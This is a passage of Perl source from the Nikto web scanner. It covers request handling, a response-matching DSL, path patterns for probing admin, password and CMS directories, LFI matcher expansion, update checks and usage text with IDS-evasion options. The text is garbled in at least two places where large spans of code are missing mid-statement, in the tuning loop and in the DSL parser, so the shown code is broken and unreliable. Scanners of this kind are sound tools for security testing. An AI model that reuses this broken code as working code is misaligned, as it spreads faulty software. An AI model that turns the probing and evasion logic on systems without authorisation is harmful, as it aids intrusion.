} else { # No port needed in regex for standard ports if ($response{'location'} =~ /^https?:\/\/($host_re)\//i) { $newlocation =~ s{^https?:\/\/(?:$host_re)/}{/}i; } } # Cache whisker reference to avoid repeated hash access my $whisker = $request{'whisker'}; $whisker->{'uri'} = $newlocation; # Make redirect request LW2::http_fixup_request(\%request) unless ($flags->{'noclean'}); sleeper(); LW2::http_do_request_timeout(\%request, \%response); $COUNTERS{'totalrequests'}++; } # Check failures my $fail_limit = $CONFIGFILE{'FAILURES'}; if ($fail_limit > 0 && $mark->{'failures'} >= $fail_limit) { nprint( "+ ERROR: *** Error limit ($CONFIGFILE{'FAILURES'}) reached for host, giving up. Last error: " . $response{'whisker'}->{'error'} . ". ***\n+ ERROR: *** Consider using mitmproxy to avoid TLS fingerprinting. ***", "", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'}) ); $mark->{'terminate'} = 1; status_report(); } if ($OUTPUT{'debug'}) { dump_var("Request Hash", \%request, ($mark->{'ip'}, $mark->{'hostname'}, $mark->{'displayname'})); dump_var("Response Hash", \%response, ($mark->{'ip'}, $mark->{'hostname'}, $mark->{'displayname'})); } # Snarf what we can from the whisker hash and put in mark my $banner = \$mark->{'banner'}; my $whisker = $response{'whisker'}; if (!exists $whisker->{'error'}) { # Banner processing if ($$banner eq "") { $$banner = $response{'server'}; } elsif ( exists $response{'server'} && !exists $mark->{'bannerchanged'} && ($$banner ne $response{'server'}) && ($response{'server'} ne 'Microsoft-HTTPAPI/2.0')) { $request->{'whisker'}->{'uri'} = "/" if ( !defined $request->{'whisker'}->{'uri'} || $request->{'whisker'}->{'uri'} eq "" || $request->{'whisker'}->{'uri'} eq "."); add_vulnerability($mark, $request->{'whisker'}->{'uri'} . ": Server banner changed from '$$banner' to '$response{server}'", 999962, "", $method, $uri, $request, $response ); $mark->{'bannerchanged'} = 1; } # Also check X-Powered-By header for outdated version checking # Only add to components if it contains version-like information (digits, slashes, or dots) if (exists $response{'x-powered-by'} && $response{'x-powered-by'} =~ /(?:\d|\/|\.)/) { my $xpb_value = $response{'x-powered-by'}; $xpb_value =~ s/\s+.*$//; # Strip any trailing whitespace/content if (!exists $mark->{'components'}->{$xpb_value}) { $mark->{'components'}->{$xpb_value} = 1; } } # TLS if (!exists $mark->{'ssl_cipher'} && $mark->{'ssl'}) { # Cache SSL certificate array reference my $altnames = $whisker->{'ssl_cert_altnames'}; # Grab ssl details $mark->{'ssl_cipher'} = $whisker->{'ssl_cipher'}; $mark->{'ssl_cert_issuer'} = $whisker->{'ssl_cert_issuer'}; $mark->{'ssl_cert_subject'} = $whisker->{'ssl_cert_subject'}; # Process altnames correctly - Net::SSLeay::X509_get_subjectAltNames returns # an array where even indices are type codes and odd indices are the actual names if ($altnames && @$altnames) { my @valid_names; for (my $i = 1 ; $i < @$altnames ; $i += 2) { my $name = $altnames->[$i]; # Only include DNS names (type 2) and skip numeric-only names if ($altnames->[ $i - 1 ] == 2 && $name !~ /^[\d]+$/ && $name ne '') { push(@valid_names, $name); } } $mark->{'ssl_cert_altnames'} = join(', ', @valid_names); } } } nprint("- $response{'whisker'}{'code'} for $method:\t$response{'whisker'}->{'uri_requested'}", "v", $testid, ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); # Check for errors to reduce false positives if (my $whisker = $response{'whisker'}) { if ((defined $whisker->{'error'} || $whisker->{'code'} eq '') && !exists $flags->{'noerror'}) { $mark->{'total_errors'}++; nprint("+ ERROR: $whisker->{'uri_requested'} returned an error: $whisker->{'error'}\n", "e", ($mark->{'hostname'}, $mark->{'ip'}, $mark->{'displayname'})); if ($whisker->{'code'} eq '502' && $CLI{'useproxy'}) { nprint("+ ERROR: Received 502 'Bad Gateway' from proxy\n"); } } } # Show cookies if ($OUTPUT{'show_cookies'} && (my $cookies = $response{'whisker'}->{'cookies'})) { # Cache frequently accessed values my $uri_requested = $response{'whisker'}->{'uri_requested'}; my $hostname = $mark->{'hostname'}; my $ip = $mark->{'ip'}; my $displayname = $mark->{'displayname'}; foreach my $c (@$cookies) { nprint("+ $uri_requested sent cookie: $c", "", ($hostname, $ip, $displayname)); } } # Run post hooks unless ($flags->{'nopostfetch'}) { ($request, %$response) = run_hooks($mark, "postfetch", \%request, \%response); } return $response{'whisker'}->{'code'}, $response{'whisker'}->{'data'}, $response{'whisker'}->{'error'}, \%request, \%response; } ####################################################################### sub set_scan_items { %TESTS = (); $COUNTERS{total_checks} = 0; my %SKIPLIST = (); if (defined $CONFIGFILE{SKIPIDS}) { foreach my $id (split(/ /, $CONFIGFILE{SKIPIDS})) { $SKIPLIST{$id} = 1; } } my ($includes, $excludes) = ""; foreach my $tune (split(//, $CLI{'tuning'})) { next if ($tune eq "x"); if ($CLI{'tuning'} !~ /(?{'terminate'} = 1; } return; } ####################################################################### # Check for updates to the program # Expects response like: # { "products": { "nikto": { "version": "2.6.0", "epoch": 1737935000 } } } sub check_updates { # Get epoch from program/.timestamp || 0 my $epoch = 0; my $timestamp_file = defined $CONFIGFILE{'EXECDIR'} ? "$CONFIGFILE{'EXECDIR'}/.timestamp" : 'program/.timestamp'; if (-f $timestamp_file) { if (open(my $fh, '<', $timestamp_file)) { $epoch = <$fh>; chomp($epoch); close($fh); } } # Request API to get manifest JSON using LibWhisker and configured proxy return unless defined $CONFIGFILE{'VERSION_API'} && $CONFIGFILE{'VERSION_API'} ne ''; eval "require JSON::PP"; return if $@; my %request; my %response; # Parse URL from config my @uridata = LW2::uri_split($CONFIGFILE{'VERSION_API'}); my $host = $uridata[2] || ''; my $port = $uridata[3] || ''; my $path = $uridata[0] || '/'; # Determine SSL and default port my $ssl = ($CONFIGFILE{'VERSION_API'} =~ /^https:/i) ? 1 : 0; if ($port eq '') { $port = $ssl ? 443 : 80; } # Build URI with query parameters my $uri = $path; $uri .= ($path =~ /\?/) ? '&' : '?'; $uri .= "p=nikto&v=$VARIABLES{'version'}&e=$epoch"; LW2::http_init_request(\%request); $request{'whisker'}->{'host'} = $host; $request{'whisker'}->{'port'} = $port; $request{'whisker'}->{'ssl'} = $ssl; $request{'whisker'}->{'uri'} = $uri; $request{'whisker'}->{'timeout'} = 5; # Configure proxy if enabled if (length($CONFIGFILE{PROXYHOST}) && $CLI{'useproxy'}) { $request{'whisker'}->{'proxy_host'} = $CONFIGFILE{'PROXYHOST'}; $request{'whisker'}->{'proxy_port'} = $CONFIGFILE{'PROXYPORT'}; if (length($CONFIGFILE{'PROXYUSER'})) { LW2::auth_set("proxy-basic", \%request, $CONFIGFILE{'PROXYUSER'}, $CONFIGFILE{'PROXYPASS'}); } } LW2::http_fixup_request(\%request); LW2::http_do_request_timeout(\%request, \%response); # Check if request succeeded if (($response{'whisker'}->{'code'} ne '200') || ($response{'whisker'}->{'data'} eq '')) { nprint("+ ERROR: Failed to check for updates: $response{'whisker'}->{'code'}"); return; } # Parse JSON response my $json_data; eval { $json_data = JSON::PP->new->utf8(1)->decode($response{'whisker'}->{'data'}); }; return if $@ || !$json_data; # Extract remote version and epoch my $remote_version = $json_data->{'products'}->{'nikto'}->{'version'} || ''; my $remote_epoch = $json_data->{'products'}->{'nikto'}->{'epoch'} || 0; # Compare epoch to manifest epoch # If remote epoch is greater OR remote version is greater: if ($remote_epoch > $epoch || ($remote_version ne '' && $remote_version ne $VARIABLES{'version'})) { my $defer = $VARIABLES{'deferout'}; $VARIABLES{'deferout'} = 0; # Check if git install my $is_git = (-d '.git' || -d '../.git' || -d '../../.git'); if ($is_git) { nprint( "+ Your Nikto installation is out of date. Please run 'git pull' to update to the latest version of Nikto." ); } else { nprint("+ Your Nikto installation is out of date."); } $VARIABLES{'deferout'} = $defer; } } ####################################################################### # Expand @LFI() in DSL with platform-specific matchers sub expand_lfi_dsl { my ($dsl) = @_; if ($dsl =~ /@?LFI\(\)/) { # Local variables for LFI matching my $lfi_match_win = $VARIABLES{'@LFIMATCHWIN'} || ''; my $lfi_match_nix = $VARIABLES{'@LFIMATCHNIX'} || ''; # If both are empty, return original DSL if (!$lfi_match_win && !$lfi_match_nix) { return $dsl; } # Build the OR pattern: (@LFIMATCHWIN|@LFIMATCHNIX) # Use string concatenation to preserve backslashes and avoid interpolation issues my $replacement; if ($lfi_match_win && $lfi_match_nix) { $replacement = '(' . $lfi_match_win . '|' . $lfi_match_nix . ')'; } elsif ($lfi_match_win) { $replacement = $lfi_match_win; } else { $replacement = $lfi_match_nix; } # Replace @LFI() with the expanded pattern # Use \Q...\E to quote the replacement and prevent any regex interpretation # But we need the | and && to work, so we can't quote everything # Instead, just do the substitution - the replacement side doesn't interpret regex $dsl =~ s/@?LFI\(\)/$replacement/g; } return $dsl; } sub build_matcher { my ($dsl, $checkid) = @_; # Return early if DSL is undefined or empty return sub { return (0, []); } unless defined $dsl && length $dsl; # Expand @LFI() if present my $expanded_dsl = expand_lfi_dsl($dsl); # Use cached parser for speed my $parsed = $DSL_CACHE{$expanded_dsl}; if (!$parsed) { $parsed = parse_dsl($expanded_dsl); $DSL_CACHE{$expanded_dsl} = $parsed; } return sub { my ($code, $body, $headers, $cookies) = @_; my @captured_groups = (); # Store captured groups for extraction # --- CODE NEGATIVES --- for my $re (@{ $parsed->{code_neg} }) { return (0, []) if $code =~ $re; } # --- CODE POSITIVES --- for my $re (@{ $parsed->{code_pos} }) { if ($code =~ $re) { # Capture groups if they exist push @captured_groups, $1, $2, $3, $4, $5, $6, $7, $8, $9; } else { return (0, []); } } # --- HEADER NEGATIVES --- for my $h (@{ $parsed->{header_neg} }) { if (exists $headers->{ $h->{name} }) { # If regex defined, header must NOT match return (0, []) if $h->{regex} && $headers->{ $h->{name} } =~ $h->{regex}; # If no regex, header must not exist return (0, []) unless $h->{regex}; } } # --- HEADER POSITIVES --- for my $h (@{ $parsed->{header_pos} }) { # Must exist return (0, []) unless exists $headers->{ $h->{name} }; # Must match regex if defined if ($h->{regex}) { if ($headers->{ $h->{name} } =~ $h->{regex}) { # Capture groups if they exist push @captured_groups, $1, $2, $3, $4, $5, $6, $7, $8, $9; } else { return (0, []); } } } # --- COOKIE NEGATIVES --- for my $c (@{ $parsed->{cookie_neg} }) { if (exists $cookies->{ $c->{name} }) { # If regex defined, cookie must NOT match return (0, []) if $c->{regex} && $cookies->{ $c->{name} } =~ $c->{regex}; # If no regex, cookie must not exist return (0, []) unless $c->{regex}; } } # --- COOKIE POSITIVES --- for my $c (@{ $parsed->{cookie_pos} }) { # Must exist return (0, []) unless exists $cookies->{ $c->{name} }; # Must match regex if defined if ($c->{regex}) { if ($cookies->{ $c->{name} } =~ $c->{regex}) { # Capture groups if they exist push @captured_groups, $1, $2, $3, $4, $5, $6, $7, $8, $9; } else { return (0, []); } } } # --- BODY NEGATIVES --- for my $re (@{ $parsed->{body_neg} }) { return (0, []) if $body =~ $re; } # --- BODY POSITIVES --- for my $re (@{ $parsed->{body_pos} }) { if ($body =~ $re) { # Capture groups if they exist push @captured_groups, $1, $2, $3, $4, $5, $6, $7, $8, $9; } else { return (0, []); } } # --- OR GROUPS --- # Each OR group must have at least one alternative that matches if (exists $parsed->{or_groups} && @{ $parsed->{or_groups} }) { for my $or_group (@{ $parsed->{or_groups} }) { my $or_matched = 0; foreach my $alt_parsed (@$or_group) { # Build a temporary matcher for this alternative my $alt_matcher = sub { my ($alt_code, $alt_body, $alt_headers, $alt_cookies) = @_; my @alt_captures = (); # Check all conditions in this alternative for my $re (@{ $alt_parsed->{code_neg} }) { return (0, []) if $alt_code =~ $re; } for my $re (@{ $alt_parsed->{code_pos} }) { return (0, []) unless $alt_code =~ $re; } for my $h (@{ $alt_parsed->{header_neg} }) { if (exists $alt_headers->{ $h->{name} }) { return (0, []) if $h->{regex} && $alt_headers->{ $h->{name} } =~ $h->{regex}; return (0, []) unless $h->{regex}; } } for my $h (@{ $alt_parsed->{header_pos} }) { return (0, []) unless exists $alt_headers->{ $h->{name} }; if ($h->{regex}) { return (0, []) unless $alt_headers->{ $h->{name} } =~ $h->{regex}; } } for my $c (@{ $alt_parsed->{cookie_neg} }) { if (exists $alt_cookies->{ $c->{name} }) { return (0, []) if $c->{regex} && $alt_cookies->{ $c->{name} } =~ $c->{regex}; return (0, []) unless $c->{regex}; } } for my $c (@{ $alt_parsed->{cookie_pos} }) { return (0, []) unless exists $alt_cookies->{ $c->{name} }; if ($c->{regex}) { return (0, []) unless $alt_cookies->{ $c->{name} } =~ $c->{regex}; } } for my $re (@{ $alt_parsed->{body_neg} }) { return (0, []) if $alt_body =~ $re; } for my $re (@{ $alt_parsed->{body_pos} }) { return (0, []) unless $alt_body =~ $re; } # Check nested OR groups in this alternative if (exists $alt_parsed->{or_groups} && @{ $alt_parsed->{or_groups} }) { for my $nested_or_group (@{ $alt_parsed->{or_groups} }) { my $nested_or_matched = 0; foreach my $nested_alt (@$nested_or_group) { my $nested_alt_matcher = sub { my ($n_code, $n_body, $n_headers, $n_cookies) = @_; for my $re (@{ $nested_alt->{code_neg} }) { return (0, []) if $n_code =~ $re; } for my $re (@{ $nested_alt->{code_pos} }) { return (0, []) unless $n_code =~ $re; } for my $h (@{ $nested_alt->{header_neg} }) { if (exists $n_headers->{ $h->{name} }) { return (0, []) if $h->{regex} && $n_headers->{ $h->{name} } =~ $h->{regex}; return (0, []) unless $h->{regex}; } } for my $h (@{ $nested_alt->{header_pos} }) { return (0, []) unless exists $n_headers->{ $h->{name} }; if ($h->{regex}) { return (0, []) unless $n_headers->{ $h->{name} } =~ $h->{regex}; } } for my $c (@{ $nested_alt->{cookie_neg} }) { if (exists $n_cookies->{ $c->{name} }) { return (0, []) if $c->{regex} && $n_cookies->{ $c->{name} } =~ $c->{regex}; return (0, []) unless $c->{regex}; } } for my $c (@{ $nested_alt->{cookie_pos} }) { return (0, []) unless exists $n_cookies->{ $c->{name} }; if ($c->{regex}) { return (0, []) unless $n_cookies->{ $c->{name} } =~ $c->{regex}; } } for my $re (@{ $nested_alt->{body_neg} }) { return (0, []) if $n_body =~ $re; } for my $re (@{ $nested_alt->{body_pos} }) { return (0, []) unless $n_body =~ $re; } return (1, []); }; my ($n_match, $n_caps) = $nested_alt_matcher->( $alt_code, $alt_body, $alt_headers, $alt_cookies ); if ($n_match) { $nested_or_matched = 1; push @alt_captures, @$n_caps if $n_caps; last; } } return (0, []) unless $nested_or_matched; } } return (1, \@alt_captures); }; # Test this alternative my ($alt_match, $alt_caps) = $alt_matcher->($code, $body, $headers, $cookies); if ($alt_match) { $or_matched = 1; push @captured_groups, @$alt_caps if $alt_caps; last; # One match is enough for OR } } # If no alternative matched, the OR group fails return (0, []) unless $or_matched; } } # Filter out undefined captured groups and build final array my @final_captures = (); for my $capture (@captured_groups) { push @final_captures, $capture if defined $capture; } return (1, \@final_captures); # All conditions passed, return captures }; } ####################################################################### sub path_matcher { my ($files_ref, $dirs_ref, $links_ref) = @_; # Map file patterns to variable names # var can be a string or array ref for multiple variables my @file_patterns = ({ pattern => qr/pass/i, var => '@PASSWORDFILES' },); # Process files if ($files_ref) { foreach my $file (keys %{$files_ref}) { my $raw = $file; $file = validate_and_fix_regex($file); foreach my $check (@file_patterns) { if ($file =~ $check->{pattern}) { my @vars = ref($check->{var}) eq 'ARRAY' ? @{ $check->{var} } : ($check->{var}); foreach my $var (@vars) { if ($VARIABLES{$var} !~ /$file/i) { $VARIABLES{$var} .= " $raw"; } } } } } } # Map directory patterns to variable names # var can be a string or array ref for multiple variables my @dir_patterns = ({ pattern => qr/cgi/i, var => '@CGIDIRS' }, { pattern => qr/forum/i, var => [ '@NUKE', '@VBULLETIN' ] }, { pattern => qr/pass/i, var => '@PASSWORDDIRS' }, { pattern => qr/nuke/i, var => '@NUKE' }, { pattern => qr/admin/i, var => '@ADMIN' }, { pattern => qr/phpmy/i, var => '@PHPMYADMIN' }, { pattern => qr/fck/i, var => '@FCKEDITOR' }, { pattern => qr/crystal/i, var => '@CRYSTALREPORTS' }, { pattern => qr/struts/i, var => '@STRUTSACTIONS' }, { pattern => qr/(wordpress|wp)/i, var => '@WORDPRESS' }, { pattern => qr/php/i, var => '@PHPINFODIRS' }, { pattern => qr/phpinfo/i, var => '@PHPINFOFILES' }, { pattern => qr/mantis/i, var => '@MANTIS' }, { pattern => qr/dokuwiki/i, var => '@DOKUWIKI' }, { pattern => qr/rockmongo/i, var => '@ROCKMONGO' }, { pattern => qr/magento/i, var => '@MAGENTO' }, { pattern => qr/(vb|vbulletin)/i, var => '@VBULLETIN' }, { pattern => qr/jenkins/i, var => '@JENKINS' }, { pattern => qr/symphony|contrib/i, var => '@SYMPHONY' }, ); # Process directories if ($dirs_ref) { foreach my $dir (keys %{$dirs_ref}) { # Directory is already validated before being stored, just use it directly foreach my $check (@dir_patterns) { if ($dir =~ $check->{pattern}) { my @vars = ref($check->{var}) eq 'ARRAY' ? @{ $check->{var} } : ($check->{var}); foreach my $var (@vars) { if ($VARIABLES{$var} !~ /$dir/i) { $VARIABLES{$var} .= " $dir"; } } } } } } # Map link patterns to variable names # var can be a string or array ref for multiple variables my @link_patterns = ({ pattern => qr/\.action(\?|$)/i, var => '@STRUTSACTIONS' },); # Process full links if ($links_ref) { foreach my $link (keys %{$links_ref}) { $link = validate_and_fix_regex($link); foreach my $check (@link_patterns) { if ($link =~ $check->{pattern}) { my @vars = ref($check->{var}) eq 'ARRAY' ? @{ $check->{var} } : ($check->{var}); foreach my $var (@vars) { if ($VARIABLES{$var} !~ /$link/i) { $VARIABLES{$var} .= " $link"; } } } } } } } ####################################################################### # extract IP like strings and return an array sub get_ips { my $string = shift || return; my $ip_regex = qr/(?:\b|[^0-9v])($LW2::IPv4_re|$LW2::IPv6_re_inc_zoneid)(?:\b|[^0-9])/; return $string =~ /$ip_regex/g; } ####################################################################### # Check an IP's validity. Returns booleans for: validity, internal, loopback sub is_ip { my $ip = $_[0] || return 0, 0, 0; my $internal = 0; my $loopback = 0; # This is a little hacky but prevents Cloudflare cookies and headers from reporting if ($ip eq '1.0.1.1') { return 0, 0, 0; } if ($ip =~ /^$LW2::IPv4_re$/) { # check for internal if ($ip =~ /^(?:10|192\.168|172\.(?:1[6-9]|2\d|3[01]))\./) { $internal = 1; } # check for loopback if ($ip eq '127.0.0.1') { $loopback = 1; } } elsif ($ip =~ /^$LW2::IPv6_re_inc_zoneid(?:\/[0-9]+)?$/) { # check for internal if ($ip =~ /^(?:10|192\.168|172\.(?:1[6-9]|2\d|3[01]))\./) { $internal = 1; } if ($ip =~ /^(?:fe80 # is a link local unicast address |ff0[1-8] # is a multicast address |fc00 # private network ):/ix ) { $internal = 1; } # lastly, loopback? # This is a bit rough 'n' ready, could do with some finesse if ($ip =~ /^[01:]+(?:\/[0-9]+)?$/) { $loopback = 1; } } else { return 0, $internal, $loopback; } return 1, $internal, $loopback; } ####################################################################### sub parse_dsl { my ($dsl) = @_; die "Empty DSL string" unless defined $dsl && length $dsl; # Split top-level conditions on && and ||, but not inside parentheses # This preserves OR patterns like (PATTERN1|PATTERN2&&PATTERN3) # First, check if there's a top-level || (OR operator) my $has_top_level_or = 0; my $depth = 0; for (my $i = 0 ; $i < length($dsl) ; $i++) { my $char = substr($dsl, $i, 1); my $next_char = ($i < length($dsl) - 1) ? substr($dsl, $i + 1, 1) : ''; my $prev_char = ($i > 0) ? substr($dsl, $i - 1, 1) : ''; my $is_escaped = ($prev_char eq '\\'); if (!$is_escaped) { if ($char eq '(') { $depth++; } elsif ($char eq ')') { $depth--; } elsif ($char eq '|' && $next_char eq '|' && $depth == 0) { $has_top_level_or = 1; last; } } } # If we have a top-level ||, split on it and wrap in OR group if ($has_top_level_or) { my @or_alternatives = (); $depth = 0; my $current_alt = ''; for (my $i = 0 ; $i < length($dsl) ; $i++) { my $char = substr($dsl, $i, 1); my $next_char = ($i < length($dsl) - 1) ? substr($dsl, $i + 1, 1) : ''; my $prev_char = ($i > 0) ? substr($dsl, $i - 1, 1) : ''; my $is_escaped = ($prev_char eq '\\'); if (!$is_escaped) { if ($char eq '|' && $next_char eq '|' && $depth == 0) { push @or_alternatives, $current_alt if $current_alt ne ''; $current_alt = ''; $depth = 0; # Reset depth for new alternative $i += 1; # Skip first |, loop will auto-increment to skip second | next; # Continue to next iteration (will auto-increment i, skipping second |) } elsif ($char eq '(') { $depth++; $current_alt .= $char; } elsif ($char eq ')') { $depth--; $current_alt .= $char; } else { $current_alt .= $char; } } else { $current_alt .= $char; } } push @or_alternatives, $current_alt if $current_alt ne ''; # Parse each alternative and create an OR group my @or_parsed = (); foreach my $alt (@or_alternatives) { $alt =~ s/^\s+|\s+$//g; next unless $alt; # If alternative doesn't start with a known type prefix or OR group, assume it's a BODY pattern if ($alt !~ /^(CODE|BODY|HEADER|COOKIE|!CODE|!BODY|!HEADER|!COOKIE):/i && $alt !~ /^\(/) { $alt = "BODY:$alt"; } my $alt_parsed = parse_dsl($alt); push @or_parsed, $alt_parsed; } # Return a compiled structure with just the OR group my %compiled = (code_pos => [], code_neg => [], body_pos => [], body_neg => [], header_pos => [], header_neg => [], cookie_pos => [], cookie_neg => [], or_groups => [ \@or_parsed ], ); return \%compiled; } # No top-level ||, proceed with normal && splitting my @tokens = (); $depth = 0; my $current_token = ''; my $i = 0; my $len = length($dsl); while ($i < $len) { my $char = substr($dsl, $i, 1); my $next_char = ($i < $len - 1) ? substr($dsl, $i + 1, 1) : ''; my $prev_char = ($i > 0) ? substr($dsl, $i - 1, 1) : ''; # Check if && is escaped (previous char is backslash, similar to original regex) my $is_escaped = ($prev_char eq '\\'); if (!$is_escaped) { if ($char eq '(') { $depth++; $current_token .= $char; } elsif ($char eq ')') { $depth--; $current_token .= $char; } elsif ($char eq '&' && $next_char eq '&' && $depth == 0) { # Found top-level && delimiter push @tokens, $current_token if $current_token ne ''; $current_token = ''; $i += 2; # Skip both & characters next; } else { $current_token .= $char; } } else { # Escaped character, just add it $current_token .= $char; } $i++; } push @tokens, $current_token if $current_token ne ''; my %compiled = (code_pos => [], code_neg => [], body_pos => [], body_neg => [], header_pos => [], header_neg => [], cookie_pos => [], cookie_neg => [], or_groups => [], # Store OR patterns for special handling ); foreach my $token (@tokens) { $token =~ s/^\s+|\s+$//g; # trim whitespace $token =~ s/,\s*$// if length($token) > 1; # trim trailing comma next unless $token; # Check if this is an OR pattern (starts with ( and ends with )) # Use regex to check if it's a properly formed OR pattern if ($token =~ /^\((.*)\)$/) { # Verify balanced parentheses in the content (the outer parens are already matched) my $or_content = $1; my $depth = 0; my $valid_or = 1; for my $i (0 .. length($or_content) - 1) { my $char = substr($or_content, $i, 1); my $prev_char = ($i > 0) ? substr($or_content, $i - 1, 1) : ''; my $is_escaped = ($prev_char eq '\\'); if (!$is_escaped) { if ($char eq '(') { $depth++; } elsif ($char eq ')') { $depth--; if ($depth < 0) { $valid_or = 0; last; } } } } # Content must have balanced parentheses if ($valid_or && $depth == 0) { # Split on | but not escaped | my @alternatives = split /(? lc($hname), regex => $re, }; } elsif ($type eq 'COOKIE') { my ($cname, $cval) = split /:/, $pattern, 2; die "Missing COOKIE name: $token" unless defined $cname && length $cname; $cname =~ s/^\s+|\s+$//g; $cval = '' unless defined $cval; $cval =~ s/^\s+//; my $re = length($cval) ? compile_regex($cval) : undef; push @{ $neg ? $compiled{cookie_neg} : $compiled{cookie_pos} }, { name => lc($cname), regex => $re, }; } else { die "Unknown DSL type: $type"; } } return \%compiled; } ####################################################################### sub compile_regex { my ($pattern) = @_; # Remove escapes for our delimiters (but preserve other escapes like \. \d etc) # However, don't unescape pipes inside escaped parentheses \( \) as those are literal # Protect pipes inside \( \) blocks by temporarily replacing them my @protected_blocks = (); my $block_idx = 0; while ($pattern =~ /(\\\([^)]*\\\))/g) { my $block = $1; my $placeholder = "___PROTECTED_BLOCK_${block_idx}___"; $protected_blocks[$block_idx] = $block; $pattern =~ s/\Q$block\E/$placeholder/; $block_idx++; } # Now unescape delimiters outside protected blocks $pattern =~ s/\\([|!&:])/$1/g; # Restore protected blocks (with their escaped pipes intact) for (my $i = 0 ; $i < @protected_blocks ; $i++) { my $placeholder = "___PROTECTED_BLOCK_${i}___"; $pattern =~ s/\Q$placeholder\E/$protected_blocks[$i]/; } # Fix escaped quotes - convert \" to " (escaped quotes in CSV become literal quotes in regex) # This prevents "Trailing \ in regex" errors when patterns end with \" $pattern =~ s/\\"/"/g; # Fix trailing backslashes - if pattern ends with \ (not part of an escape sequence), double it # This prevents "Trailing \ in regex" errors (e.g., "c:\" becomes "c:\\") # Only do this if the backslash is not already escaped (not "\\") if ($pattern =~ /[^\\]\\$/) { $pattern =~ s/([^\\])\\$/$1\\\\/; # Double the trailing backslash } elsif ($pattern =~ /^\\$/) { # Pattern is just a single backslash $pattern = '\\\\'; } # Handle case-insensitive flag my $mod = ''; if ($pattern =~ s/^\(\?i\)//) { $mod = '(?i)'; } # Compile the regex pattern my $re = eval { qr/$mod$pattern/ }; die "Invalid regex '$pattern': $@" if $@; return $re; } ####################################################################### sub parse_csv { my $text = $_[0] || return; my @new = (); push(@new, $+) while $text =~ m{ "([^\"\\]*(?:\\.[^\"\\]*)*)",? | ([^,]+),? | , }gx; push(@new, undef) if substr($text, -1, 1) eq ','; return @new; } ####################################################################### sub check_ssl_support { LW2::init_ssl_engine(); my ($avail, $lib, $ver) = LW2::ssl_is_available(); if (!$avail) { nprint("+ WARNING: SSL: support not available."); } } ####################################################################### sub version { nprint("$VARIABLES{'name'} $VARIABLES{'version'} (LW $LW2::VERSION)"); exit 0; } ####################################################################### sub send_updates { return if ($CONFIGFILE{'UPDATES'} !~ /yes|auto/i); my (@MARKS) = @_; my ($updated_version, $answer, $code, $upd_enc); my $have_updates = 0; foreach my $mark (@MARKS) { foreach my $component (keys %{ $mark->{'components'} }) { if ($mark->{'components'}->{$component} eq 2) { if ($component !~ /\d/) { next; } elsif ($component =~ /^(?:\(?Win32\)?|Linux-Mandrake$)/) { next; } elsif ($component eq "") { next; } $have_updates = 1; $updated_version .= "$component "; } } } if ((!$have_updates) || ($updated_version eq "")) { return; } $updated_version =~ s/\s+$//; $updated_version =~ s/^\s+//; if ($CONFIGFILE{'UPDATES'} eq "auto") { $answer = "y"; } else { $answer = read_data( "\n ********************************************************************* Portions of the server's headers ($updated_version) are not in the Nikto " . $VARIABLES{'version'} . " database or are newer than the known string. Would you like to submit this information (*no server specific data*) to CIRT.net for a Nikto update (or you may email to sullo\@cirt.net) (y/n)? ", "" ); } if ($answer !~ /y/i) { return; } # set up our mark my %mark = ('ident' => $CONFIGFILE{CIRT}, 'ssl' => 1, 'port' => 443 ); ($mark{'hostname'}, $mark{'ip'}, $mark{'display_name'}) = resolve($CONFIGFILE{CIRT}, 0); $upd_enc = LW2::encode_base64($updated_version); chomp($upd_enc); # Use libwhisker directly instead of nfetch to avoid reporting on update target my (%request, %response); setup_hash(\%request, \%mark, ""); $request{'whisker'}->{'uri'} = "/nikto-updates.php?version=$upd_enc"; $request{'whisker'}->{'method'} = "GET"; $request{'whisker'}->{'host'} = $mark{'hostname'}; $request{'Accept'} = '*/*'; $request{'User-Agent'} = get_ua(); LW2::http_fixup_request(\%request); LW2::http_do_request_timeout(\%request, \%response); $code = $response{'whisker'}->{'code'}; $content = $response{'whisker'}->{'data'}; if ($code eq 407) { if ($CONFIGFILE{PROXYUSER} eq "") { $CONFIGFILE{PROXYUSER} = read_data("Proxy ID: ", ""); $CONFIGFILE{PROXYPASS} = read_data("Proxy Pass: ", "noecho"); } LW2::http_do_request_timeout(\%request, \%response); $code = $response{'whisker'}->{'code'}; $content = $response{'whisker'}->{'data'}; } if ($code eq "") { LW2::http_close(\%request); # Use CIRT config hostname for fallback my ($fallback_hostname, $fallback_ip, $fallback_display) = resolve($CONFIGFILE{CIRT}, 0); $mark{'ip'} = $fallback_ip; $request{'whisker'}->{'host'} = $fallback_hostname; LW2::http_fixup_request(\%request); LW2::http_do_request_timeout(\%request, \%response); $code = $response{'whisker'}->{'code'}; $content = $response{'whisker'}->{'data'}; } if (($code != 200) || ($content !~ /SUCCESS/)) { nprint("+ ERROR: $code -> " . $response{'location'} . "\n+ ERROR: Update failed, please notify sullo\@cirt.net of the previous line.", "", ($mark{'hostname'}, $mark{'ip'}, $mark{'display_name'}) ); } else { nprint("- Sent updated info to cirt.net -- Thank you!"); } return; } ####################################################################### sub usage { print " Options: -Add-header Add HTTP headers (can be used multiple times, one per header pair) -ask+ Whether to ask about submitting updates yes Ask about each (default) no Don't ask, don't send auto Don't ask, just send -check6 Check if IPv6 is working (connects to ipv6.google.com or value set in nikto.conf) -Cgidirs+ Scan these CGI dirs: \"none\", \"all\", or values like \"/cgi/ /cgi-a/\" -config+ Use this config file -Display+ Turn on/off display outputs: 1 Show redirects 2 Show cookies received 3 Show all 200/OK responses 4 Show URLs which require authentication D Debug output E Display all HTTP errors P Print progress to STDOUT S Scrub output of IPs and hostnames V Verbose output -dbcheck Check database and other key files for syntax errors -evasion+ Encoding technique:\n"; foreach my $k (sort keys %{ $NIKTO{'anti_ids'} }) { print " $k $NIKTO{'anti_ids'}{$k}\n"; } print " -followredirects Follow 3xx redirects to new location -Format+ Save file (-o) format: csv Comma-separated-value json JSON Format htm HTML Format sql Generic SQL (see docs for schema) txt Plain text xml XML Format (if not specified the format will be taken from the file extension passed to -output) -Help This help information -host+ Target host/URL -id+ Host authentication to use, format is id:pass or id:pass:realm -ipv4 IPv4 Only -ipv6 IPv6 Only -key+ Client certificate key file -list-plugins List all available plugins, perform no testing -maxtime+ Maximum testing time per host (e.g., 1h, 60m, 3600s) -mutate+ Guess additional file names:\n"; foreach my $k (sort keys %{ $NIKTO{'mutate_opts'} }) { print " $k $NIKTO{'mutate_opts'}{$k}\n"; } print " -mutate-options Provide information for mutates -nocheck Don't check for updates on startup -nocookies Do not use cookies from responses in requests -nointeractive 